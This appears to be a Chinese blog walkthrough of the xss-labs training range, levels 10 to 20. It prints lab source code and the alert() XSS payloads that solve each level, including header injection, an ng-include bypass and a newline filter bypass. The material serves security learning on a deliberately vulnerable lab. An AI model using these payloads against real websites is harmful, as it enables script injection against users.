xss-labs(level10~20)

level-10

画风突变,发现并没有输入框
在这里插入图片描述查看源码

在这里插入图片描述会发现<input>之中有三个t_link、t_history、t_sort标签

还是使用<script>alert('xss')</script>进行尝试

在这里插入图片描述会发现<和>均被编码

师傅们的思路是:
因为有三个<input>标签,里面有三个参数,所以尝试从这里入手,构造

<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

在这里插入图片描述发现出现输入框

源码

在这里插入图片描述
<input name="t_sort" value="" type="text"" type="hidden">

通过构造参数响应发现,名为t_sort<input>标签的状态发生了改变,所以要从该标签入手,尝试注入恶意代码,构造

<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

点击输入框后弹窗成功
在这里插入图片描述总体来看,这里利用了三个<input>标签进行突破,构造语句

level-11

在这里插入图片描述同样没有输入框

使用<script>alert('xss')</script>尝试

在这里插入图片描述会发现有四个<input>标签,同上一关先尝试从这几个标签入手,构造

<script>alert('xss')</script>&t_link="type="text"&t_history="type="text"&t_sort="type="text"&t_ref="type="text"

在这里插入图片描述<input name="t_sort" value="&quot;type=&quot;text&quot;" type="hidden">
双引号被编码
没有出现输入框,上一关的方法行不通

师傅们的做法是:
查看源文件代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

从上面这些代码可以看出,请求头中的HTTP_REFERER头的值赋给了str11这个变量,在将变量值中的<、>删除之后就会插入到t_ref这个标签的value属性值中。上一关的t_sort标签虽然也能接收并显示参数值,但是这个参数值是要用htmlspecialchars()函数处理的

在这里插入图片描述原始的请求数据包中并没有referer这个请求头,我们要自己给它加上

在这里插入图片描述添加Referer:aaa,会发现在返回包里的t_ref标签的value属性值出现aaa
进行恶意代码插入
" type="test" onclick="alert('xss')"

在这里插入图片描述成功插入

在浏览器中使用hackbar的referer,出现输入框,点击即可弹窗
在这里插入图片描述level-12

在这里插入图片描述源码
在这里插入图片描述

<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0" type="hidden">

会发现t_ua这个标签其中的value属性的值很熟悉,其实它就是抓包时数据包里的User-Agent头的值

那么先来抓包看一下
在这里插入图片描述果然如此

有了上一关的经验,尝试直接在User-Agent插入恶意代码" type="test" onclick="alert('xss')"

在这里插入图片描述成功

同样在浏览器中使用hackbar的User-Agent,出现输入框,点击即可弹窗

在这里插入图片描述
level-13

在这里插入图片描述
在这里插入图片描述又发现一个新的标签t_cook

如果回头看一下这三关的标签t_ref,t_ua,t_cook再根据思路依次对应http请求头referer,User-Agent,第三个不就是cookie

话不多说,动手抓包
在这里插入图片描述确实如此

那么就可以在Cookie构造语句

在这里插入图片描述同样在浏览器中使用hackbar的Cookies

在这里插入图片描述不过。。额。。没有成功??

在这里插入图片描述被自己蠢到了。。构造时少了user

level-14

在这里插入图片描述

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

搞不了。。

Exif xss在这里插入图片描述

附上师傅的博客exif xss 复现

level-15

在这里插入图片描述
源码和前面的几关也不太一样
在这里插入图片描述

具体会发现

<p align=center><img src=level15.png></p>
<body><span class="ng-include:1.gif"></span></body>
ng-include 属性的值可以是一个表达式,返回一个文件名
默认情况下,包含的文件需要包含在同一个域名下

提交的参数src的值被插入到了<span>标签的class属性值中,但前面还有ng-include这样的字符

AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。

直接在这里尝试
在这里插入图片描述会发现<和>均被编码

又不会了。。

厚颜无耻继续参考。。

师傅的思路是先查看源文件代码

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

src参数的值通过get方式赋给变量str,然后通过htmlspecialchars()函数将变量值进行处理之后再返回给浏览器

特别值得注意的几点如下:

1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别 

这样构造

?src='level1.php?name=<img src=1 onerror=alert(1)>'

解释

因为这里参数值算是一个地址,所以需要添加引号
然后就可能又有疑问了,不是说是包含html文件吗,但是level1.php是一个php文件吗?
这是因为我们不是单纯的去包含level1.php,而是在后面添加了参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思

onerror 事件

在这里插入图片描述
level-16
在这里插入图片描述test会被显示
在这里插入图片描述尝试
在这里插入图片描述在这里插入图片描述
发现scrip和/被编码为&nbsp;

查看源文件代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);

可以看出script空格/均被编码为&nbsp;

空格不能使用来进行区分,额。。这里的办法是使用回车一样可以分开

使用上一关用到的标签<img>进行构造

<img
src="111"
onerror=alert('xss')
>

在这里插入图片描述
如果直接尝试,会发现并不行

这里还需注意回车的表示方法:
可以要用回车的url编码格式%0a来表示

所以要这样构造

<img%0asrc="111"%0aonerror=alert('xss')>

在这里插入图片描述
level-17

在这里插入图片描述中间框这应该有一个flash

在这里插入图片描述发现在url中提交的两个参数arg01=a&arg02=b会在embed标签src属性值中

<embed src=xsf01.swf?a=b width=100% heigth=100%>

那就尝试通过这两个参数进行突破

在这里插入图片描述然而<和>均被编码,并不行

继续参考。。

思路方法是:因为这里是一个类似图片的东西,所以尝试通过特殊事件来触发,比如可以用onclick事件测试一下
onclick 事件
构造

onclick=alert('xss')

在这里插入图片描述
同理也可以用onfocus事件onmouseover事件进行构造

level-18

在这里插入图片描述
在这里插入图片描述和上一关很相似,直接尝试

onclick=alert('xss')

在这里插入图片描述level-19
在这里插入图片描述

在这里插入图片描述
如果仔细观察的话,会发现和前两关还是略有不同的

<embed src="xsf03.swf?a=b" width=100% heigth=100%></body>

src的值使用双引号括起来的

尝试<script>alert('xss')</script>
在这里插入图片描述果然<和>被编码了

再尝试特殊事件

onclick=alert('xss')

在这里插入图片描述并不能成功

这里要使用Flash XSS

为什么叫flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。
常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
要想知道这一关的是不是属于flash xss,只需要对引用的swf文件进行反编译然后进行源码分析

附上师傅的具体操作
XSS-labs Level 19 Flash XSS

level-20
在这里插入图片描述
在这里插入图片描述和上一关一样,src的值使用双引号括起来的

具体操作还得看师傅:
XSS-labs Level 20 Flash XSS

7.25

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XSS-labs是一个用于学习和测试跨站脚本攻击(XSS)的平台。根据引用\[1\],在学习了XSS的基础知识并完成了一些简单的XSS测试后,可以开始攻略XSS-labs。不过需要注意的是,对于XSS-labs,我们只需大致了解一些思路即可,因为在实际的应用中,很少会有这种复杂的情况,但在CTF比赛中可能会更常见。 根据引用\[2\],XSS-labs的安装和下载可以通过相关的渗透测试平台或者从官方网站获取。安装完成后,可以开始进行XSS攻击的实践。 在XSS-labs中,可以通过构造特定的payload来触发XSS漏洞。根据引用\[2\]和\[3\]的示例,可以使用ng-include或者src参数来构造包含XSS漏洞的URL。例如,可以构造一个类似于以下的payload来触发XSS漏洞: src='level1.php?name=<a type="text" href="javascript:alert(1)">' 或者 127.0.0.1/xss-labs/level15.php?src='level1.php?name=<a href="javascript:alert(/xss/)">' 通过构造合适的payload,可以利用XSS-labs平台进行XSS攻击的实践和学习。请注意,在实际应用中,XSS攻击是违法行为,请遵守法律法规并仅在合法授权的情况下进行安全测试。 #### 引用[.reference_title] - *1* *2* [渗透学习-靶场篇-XSS-labs(持续更新中)](https://blog.csdn.net/qq_43696276/article/details/127024861)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [xss-labs搭建及通关攻略](https://blog.csdn.net/K_ShenH/article/details/122765092)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值